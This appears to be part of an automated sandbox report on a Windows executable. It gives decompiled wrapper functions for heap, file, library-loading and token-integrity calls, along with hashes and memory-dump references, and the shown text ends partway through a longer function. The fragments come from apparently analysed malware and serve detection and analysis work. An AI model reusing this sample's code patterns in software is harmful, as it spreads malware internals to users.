                                                                                  • Opcode Fuzzy Hash: a35baed76224976dfbbda9fb1c9f7d611ee50264b70f141d56b7319a314382dd
                                                                                  • Instruction Fuzzy Hash: 5BD0923214424DBFDF164FA0DC02B9A3F66AF08B60F504618FA29980E0D672E570AB84
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 100%
                                                                                  			E00B63BC0(void* _a4, long _a8) {
                                                                                  				void* _t4;
                                                                                  
                                                                                  				if(_a8 != 0) {
                                                                                  					_t4 = RtlAllocateHeap(_a4, 8, _a8); // executed
                                                                                  					return _t4;
                                                                                  				} else {
                                                                                  					return 0;
                                                                                  				}
                                                                                  			}




                                                                                  0x00b63bc7
                                                                                  0x00b63bd5
                                                                                  0x00b63bdc
                                                                                  0x00b63bc9
                                                                                  0x00b63bcc
                                                                                  0x00b63bcc

                                                                                  APIs
                                                                                  • RtlAllocateHeap.NTDLL(00B61AA2,00000008,00000000), ref: 00B63BD5
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: AllocateHeap
                                                                                  • String ID:
                                                                                  • API String ID: 1279760036-0
                                                                                  • Opcode ID: 5d967934805bc0256ed74cd30b80cfc04dedf73b0956ed47984161b29714f806
                                                                                  • Instruction ID: e65c16684b601a50b5512947ffdfab697857ba3523171b9ebc2a3b5ef62c38f0
                                                                                  • Opcode Fuzzy Hash: 5d967934805bc0256ed74cd30b80cfc04dedf73b0956ed47984161b29714f806
                                                                                  • Instruction Fuzzy Hash: 70C0123108060CAADF100E90EC05BA83BA9EB00B26F00C068FA1C484A0CB7696A09B44
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  APIs
                                                                                  • GetNativeSystemInfo.KERNEL32(?,?,?,?,00B6198F,00000000,00000000,?,00000000,?), ref: 00B64574
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: InfoNativeSystem
                                                                                  • String ID:
                                                                                  • API String ID: 1721193555-0
                                                                                  • Opcode ID: 73febc83ab37f7324b2788ac3217bebf09694a1cb7af1bc761c8a94960581cb2
                                                                                  • Instruction ID: 999cc82a013934a7fb3829e19526c03672d25af26b64e1d11a7fb1a88c74bedc
                                                                                  • Opcode Fuzzy Hash: 73febc83ab37f7324b2788ac3217bebf09694a1cb7af1bc761c8a94960581cb2
                                                                                  • Instruction Fuzzy Hash: 2BC0126680820C5ACB00EBB0990948D77FC970C110B400594D80993140F6669A948391
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  APIs
                                                                                  • GetNativeSystemInfo.KERNEL32(?,?,?,?,00B6198F,00000000,00000000,?,00000000,?), ref: 00B64574
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: InfoNativeSystem
                                                                                  • String ID:
                                                                                  • API String ID: 1721193555-0
                                                                                  • Opcode ID: 4997fc577a3dba9aa1dd05df3edd1bd2324d83a920aa962297f88471b91dfa22
                                                                                  • Instruction ID: 2f79c8da75a97567fce2e9d9d8bfe07acfd697cf26d7936353ccb75f31679aef
                                                                                  • Opcode Fuzzy Hash: 4997fc577a3dba9aa1dd05df3edd1bd2324d83a920aa962297f88471b91dfa22
                                                                                  • Instruction Fuzzy Hash: 6CC01266C1D10C5DCF00EBB099494CD7FF49B0D110B10069DD80AA3550E6668A98C751
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 100%
                                                                                  			E00B6627F(struct _OVERLAPPED* _a4, void* _a8, long _a12) {
                                                                                  				int _t6;
                                                                                  
                                                                                  				_t6 = WriteFile( *(_a4 + 0x14), _a8, _a12, 0, _a4); // executed
                                                                                  				return _t6;
                                                                                  			}




                                                                                  0x00b66291
                                                                                  0x00b66298

                                                                                  APIs
                                                                                  • WriteFile.KERNEL32(?,?,00B62CE1,00000000,?,?,00B62D7C,?,?,?,?,?,?,?,?,?), ref: 00B66291
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: FileWrite
                                                                                  • String ID:
                                                                                  • API String ID: 3934441357-0
                                                                                  • Opcode ID: 1bbf7e76a3f9b9832c0962f247f23c76c61b9a0039b73603be2ed46609bc04b1
                                                                                  • Instruction ID: 871a6cb4f4a08e105eec6d6e0ef06b2e6d9cd6b1c96e1a3ca50f4404058b6b8b
                                                                                  • Opcode Fuzzy Hash: 1bbf7e76a3f9b9832c0962f247f23c76c61b9a0039b73603be2ed46609bc04b1
                                                                                  • Instruction Fuzzy Hash: 25C0023614020CBFDF015F84ED06FAA3F69EB08651F004054BA184A161D672E9609B65
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 100%
                                                                                  			E00B6624B(struct _OVERLAPPED* _a4, void* _a8, long _a12) {
                                                                                  				int _t6;
                                                                                  
                                                                                  				_t6 = ReadFile( *(_a4 + 0x14), _a8, _a12, 0, _a4); // executed
                                                                                  				return _t6;
                                                                                  			}




                                                                                  0x00b6625d
                                                                                  0x00b66264

                                                                                  APIs
                                                                                  • ReadFile.KERNEL32(?,?,00B62CEC,00000000,?,?,00B62B5E,?,?,?,?,?,?,00B62CEC,?,?), ref: 00B6625D
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: FileRead
                                                                                  • String ID:
                                                                                  • API String ID: 2738559852-0
                                                                                  • Opcode ID: 0a04104b16edc55df6a9eac4dd04c0a76a170c99a0475ee39ee2ebe32404712b
                                                                                  • Instruction ID: 822cf89de9b1fcd7d8afd38b8061a857dde65846324fc6e60ba6f847bfdaae4b
                                                                                  • Opcode Fuzzy Hash: 0a04104b16edc55df6a9eac4dd04c0a76a170c99a0475ee39ee2ebe32404712b
                                                                                  • Instruction Fuzzy Hash: 4BC0027614020CBFDF015F84EC06EAA3F69EB08611F004055BA184A161C672E9609B55
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 100%
                                                                                  			E00B63BDD(void _a4) {
                                                                                  				void* _t5;
                                                                                  
                                                                                  				_t4 =  !=  ? _a4 : 0x100000;
                                                                                  				_t5 = HeapCreate(0,  !=  ? _a4 : 0x100000, 0); // executed
                                                                                  				return _t5;
                                                                                  			}




                                                                                  0x00b63beb
                                                                                  0x00b63bf2
                                                                                  0x00b63bf9

                                                                                  APIs
                                                                                  • HeapCreate.KERNEL32(00000000,00000000,00000000,?,00B6611A,00000000,00000000,?,00B62BD7,?,00000000,00000000), ref: 00B63BF2
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: CreateHeap
                                                                                  • String ID:
                                                                                  • API String ID: 10892065-0
                                                                                  • Opcode ID: b870eada5a083f55550dfba831b110d85f8b8338c829a9f096354b3346f46be7
                                                                                  • Instruction ID: 86b371c617697bc544e66ffa196eb62c6490bd915a0afa9e255daa0c1dd9fe9c
                                                                                  • Opcode Fuzzy Hash: b870eada5a083f55550dfba831b110d85f8b8338c829a9f096354b3346f46be7
                                                                                  • Instruction Fuzzy Hash: 04C08C3024420CEBEB008A80ED05BA53BDCDB04782F108014FA0C8A4C0C7B0AC808AD0
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 100%
                                                                                  			E00B664C6(void* _a4, void* _a8, long _a12, DWORD* _a16) {
                                                                                  				int _t5;
                                                                                  
                                                                                  				_t5 = WriteFile(_a4, _a8, _a12, _a16, 0); // executed
                                                                                  				return _t5;
                                                                                  			}




                                                                                  0x00b664d7
                                                                                  0x00b664de

                                                                                  APIs
                                                                                  • WriteFile.KERNEL32(00000D12,00000000,00B63596,?,00000000,?,00B63596,00000000,00000D12,?), ref: 00B664D7
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: FileWrite
                                                                                  • String ID:
                                                                                  • API String ID: 3934441357-0
                                                                                  • Opcode ID: f8c9bed90d947a4620a48fc21c7956a93999c25d58a1bcd2c1d484d328dd7b57
                                                                                  • Instruction ID: 81ce191ff2f36b937cf18a8a5ff2fe17a12859b02f8905ba9c22f0f8ecfa8575
                                                                                  • Opcode Fuzzy Hash: f8c9bed90d947a4620a48fc21c7956a93999c25d58a1bcd2c1d484d328dd7b57
                                                                                  • Instruction Fuzzy Hash: 6FC0023214020DBBCF025F81ED05F993F2AEB08650F004014FA181516097729570AB55
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 100%
                                                                                  			E00B66025(CHAR* _a4) {
                                                                                  				struct HINSTANCE__* _t3;
                                                                                  
                                                                                  				E00B65DCF(0x5c1336be);
                                                                                  				_t3 = LoadLibraryA(_a4); // executed
                                                                                  				return _t3;
                                                                                  			}




                                                                                  0x00b66030
                                                                                  0x00b66036
                                                                                  0x00b66039

                                                                                  APIs
                                                                                  • LoadLibraryA.KERNEL32(00000009,?,00B65D4D,?,00B7CC28,0000073C,0000000F,00000009,?,?,00B65C17,?), ref: 00B66036
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: LibraryLoad
                                                                                  • String ID:
                                                                                  • API String ID: 1029625771-0
                                                                                  • Opcode ID: 32db5bf2ffb7bc026445f919dacaf95bb8211e5ccfe872ed770d7e44386625e7
                                                                                  • Instruction ID: 1ad16d5c22fa557d4e6062d992fa5ba1ff46852ebddf741fb70e72422573eae8
                                                                                  • Opcode Fuzzy Hash: 32db5bf2ffb7bc026445f919dacaf95bb8211e5ccfe872ed770d7e44386625e7
                                                                                  • Instruction Fuzzy Hash: 19B0123200430C3F491836FBBC01C8C3B8CCD80978B402061F50C041528C37E2614995
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 100%
                                                                                  			E00B63C08(void* _a4, void* _a8) {
                                                                                  				signed char _t3;
                                                                                  
                                                                                  				_t3 = RtlFreeHeap(_a4, 0, _a8); // executed
                                                                                  				return _t3 & 0x000000ff;
                                                                                  			}




                                                                                  0x00b63c13
                                                                                  0x00b63c1d

                                                                                  APIs
                                                                                  • RtlFreeHeap.NTDLL(?,00000000,00000003), ref: 00B63C13
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: FreeHeap
                                                                                  • String ID:
                                                                                  • API String ID: 3298025750-0
                                                                                  • Opcode ID: 90d335eb275c610be52ad32246a9d7469a6c88bf45f2f80f4a130b36f2a2e5bd
                                                                                  • Instruction ID: b71363cb36e310e17ba48d2eaf4de608dd0c360aeecb00e3bd7f288600835d3e
                                                                                  • Opcode Fuzzy Hash: 90d335eb275c610be52ad32246a9d7469a6c88bf45f2f80f4a130b36f2a2e5bd
                                                                                  • Instruction Fuzzy Hash: 37C0923108421CBBCF011F86EC06BA83F69AB00A61F408056FA0C891A1CB73A5A0AB94
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 100%
                                                                                  			E00B6446F() {
                                                                                  				void* _t2;
                                                                                  				void* _t5;
                                                                                  
                                                                                  				_t2 = E00B64122(_t5, GetCurrentProcess()); // executed
                                                                                  				if(_t2 == 0x4000) {
                                                                                  					goto ( *0xb7cb1c);
                                                                                  				}
                                                                                  				return 0;
                                                                                  			}





                                                                                  0x00b64476
                                                                                  0x00b64481
                                                                                  0x00b64483
                                                                                  0x00b64483
                                                                                  0x00b6448b

                                                                                  APIs
                                                                                  • GetCurrentProcess.KERNEL32(00B62EA8,?,?,00B636DC), ref: 00B6446F
                                                                                    • Part of subcall function 00B64122: OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 00B64134
                                                                                    • Part of subcall function 00B64122: GetTokenInformation.KERNELBASE(?,00000019(TokenIntegrityLevel),?,0000004C,00000000), ref: 00B6414D
                                                                                    • Part of subcall function 00B64122: IsValidSid.ADVAPI32(?,00000000), ref: 00B6415C
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: ProcessToken$CurrentInformationOpenValid
                                                                                  • String ID:
                                                                                  • API String ID: 3181247963-0
                                                                                  • Opcode ID: 17163341471c35d9a5aeec8f9469be36a8cabbddbe4abaae3f46ed011528fb47
                                                                                  • Instruction ID: 8fdc41d9d3b1b410a22870e2e4706c0a78000fa343b90a0bd818afd1f86e098a
                                                                                  • Opcode Fuzzy Hash: 17163341471c35d9a5aeec8f9469be36a8cabbddbe4abaae3f46ed011528fb47
                                                                                  • Instruction Fuzzy Hash: 91B092A2620908CECA001770BC0A70A3A98E718713F10A8ADF205E6194DF3CC4C04600
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 100%
                                                                                  			E00B63DB7(void* _a4) {
                                                                                  				void* _t3;
                                                                                  				int _t4;
                                                                                  
                                                                                  				if(_a4 != 0) {
                                                                                  					_t4 = FindCloseChangeNotification(_a4); // executed
                                                                                  					return _t4;
                                                                                  				}
                                                                                  				return _t3;
                                                                                  			}





                                                                                  0x00b63dbe
                                                                                  0x00b63dc3
                                                                                  0x00000000
                                                                                  0x00b63dc3
                                                                                  0x00b63dca

                                                                                  APIs
                                                                                  • FindCloseChangeNotification.KERNEL32(00000000), ref: 00B63DC3
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: ChangeCloseFindNotification
                                                                                  • String ID:
                                                                                  • API String ID: 2591292051-0
                                                                                  • Opcode ID: 360cbf568cb91279ad675cfb7cd5737d28c66312ab106dcb31597663d597d52d
                                                                                  • Instruction ID: f53de1e6daa418321bd75124e2bfe0ef5fd8d408fe49f93e5cf1e006362b7b2a
                                                                                  • Opcode Fuzzy Hash: 360cbf568cb91279ad675cfb7cd5737d28c66312ab106dcb31597663d597d52d
                                                                                  • Instruction Fuzzy Hash: A0B0923800060CEBCB011F44E909BA83FECEB00749F4880A9F90C05570CB759AE0CAC0
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 100%
                                                                                  			E00B665D1(WCHAR* _a4, WCHAR* _a8) {
                                                                                  				int _t3;
                                                                                  
                                                                                  				_t3 = MoveFileW(_a4, _a8); // executed
                                                                                  				return _t3;
                                                                                  			}




                                                                                  0x00b665da
                                                                                  0x00b665e1

                                                                                  APIs
                                                                                  • MoveFileW.KERNEL32(00000000,F875FF50), ref: 00B665DA
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: FileMove
                                                                                  • String ID:
                                                                                  • API String ID: 3562171763-0
                                                                                  • Opcode ID: 93bab4719242fdc5bfa3c68622f1f844875481db67077931e57d9eb0f5c45599
                                                                                  • Instruction ID: c56ffabc3478f57145a64fc3fe104fdc999e10a64544f10822b0bce9d5cb57eb
                                                                                  • Opcode Fuzzy Hash: 93bab4719242fdc5bfa3c68622f1f844875481db67077931e57d9eb0f5c45599
                                                                                  • Instruction Fuzzy Hash: 90B0123100010CFBCF011F91EC058887F2DEB08270B00C014F90C05131CB33D6619B80
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 100%
                                                                                  			E00B63BFA(void* _a4) {
                                                                                  				int _t2;
                                                                                  
                                                                                  				_t2 = HeapDestroy(_a4); // executed
                                                                                  				return _t2;
                                                                                  			}




                                                                                  0x00b63c00
                                                                                  0x00b63c07

                                                                                  APIs
                                                                                  • HeapDestroy.KERNELBASE(?,?,00B65426,?,?,00B7D75C,00000000,00000000,?,00B613EC,00B7D738,?,00000000), ref: 00B63C00
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: DestroyHeap
                                                                                  • String ID:
                                                                                  • API String ID: 2435110975-0
                                                                                  • Opcode ID: 09921426cd79e6854f613ae216858d05a21bbf1c284b026e1293034e696f292b
                                                                                  • Instruction ID: d81f78b1db7f6eb61c64ad2577e3807d32603ff0f5991fb5486b669c092b0620
                                                                                  • Opcode Fuzzy Hash: 09921426cd79e6854f613ae216858d05a21bbf1c284b026e1293034e696f292b
                                                                                  • Instruction Fuzzy Hash: 0CA0123100010CA78A001F41EC044843F1CD7441727000024F40C414208B2295904780
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  Non-executed Functions

                                                                                  APIs
                                                                                  • CryptBinaryToStringW.CRYPT32(00000000,00000000,40000000,00000000,00B61820), ref: 00B64D81
                                                                                    • Part of subcall function 00B63C1E: HeapCreate.KERNEL32(00000000,00100000,00000000,?,00B61AA2,?,?,00B61AD1), ref: 00B63C33
                                                                                    • Part of subcall function 00B63C1E: GetProcessHeap.KERNEL32(?,00B61AA2,?,?,00B61AD1), ref: 00B63C42
                                                                                  • CryptBinaryToStringW.CRYPT32(00000000,00000000,40000000,00000000,00B61820), ref: 00B64DAA
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: BinaryCryptHeapString$CreateProcess
                                                                                  • String ID:
                                                                                  • API String ID: 869147093-0
                                                                                  • Opcode ID: 4f1aed7c91f13b0608cf65c699b048b6d87f4791f9900a5d8a63b0c76b25f1fc
                                                                                  • Instruction ID: 189a0b373b5b285e8338c52b97335f69a823918a819e5f1f78dbb10c49638b38
                                                                                  • Opcode Fuzzy Hash: 4f1aed7c91f13b0608cf65c699b048b6d87f4791f9900a5d8a63b0c76b25f1fc
                                                                                  • Instruction Fuzzy Hash: 3BF03C326006196BDB119EB6DC04E9B3BEDEB85BA1F044039F908C6110DB34CE5086A0
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 100%
                                                                                  			E00B69829(signed int* _a4) {
                                                                                  				signed int _v8;
                                                                                  				signed int _v12;
                                                                                  				signed int _v16;
                                                                                  				signed int _v20;
                                                                                  				signed int _v24;
                                                                                  				signed int _v28;
                                                                                  				signed int _v32;
                                                                                  				signed int _v36;
                                                                                  				signed int _v40;
                                                                                  				signed int* _v44;
                                                                                  				signed int _t706;
                                                                                  				signed int _t722;
                                                                                  				signed int _t736;
                                                                                  				signed int _t768;
                                                                                  				signed int* _t836;
                                                                                  				signed int* _t863;
                                                                                  				signed int* _t890;
                                                                                  				signed int* _t917;
                                                                                  				signed int* _t944;
                                                                                  				signed int _t969;
                                                                                  				signed int* _t985;
                                                                                  				unsigned int _t986;
                                                                                  				signed int _t988;
                                                                                  				signed int* _t989;
                                                                                  				signed int _t990;
                                                                                  				signed int _t991;
                                                                                  				signed int _t993;
                                                                                  				signed int _t995;
                                                                                  				signed int _t997;
                                                                                  				signed int _t999;
                                                                                  				signed int _t1001;
                                                                                  				signed int _t1003;
                                                                                  				signed int _t1005;
                                                                                  				signed int _t1007;
                                                                                  				signed int _t1009;
                                                                                  				signed int _t1011;
                                                                                  				signed int _t1013;
                                                                                  				signed int* _t1016;
                                                                                  				signed int* _t1018;
                                                                                  				signed int* _t1020;
                                                                                  				signed int* _t1022;
                                                                                  				signed int* _t1024;
                                                                                  				signed int _t1034;
                                                                                  				signed int* _t1050;
                                                                                  				unsigned int _t1051;
                                                                                  				signed int* _t1066;
                                                                                  				signed int _t1067;
                                                                                  				signed int* _t1084;
                                                                                  				signed int* _t1099;
                                                                                  				unsigned int _t1100;
                                                                                  				signed int* _t1116;
                                                                                  				signed int _t1189;
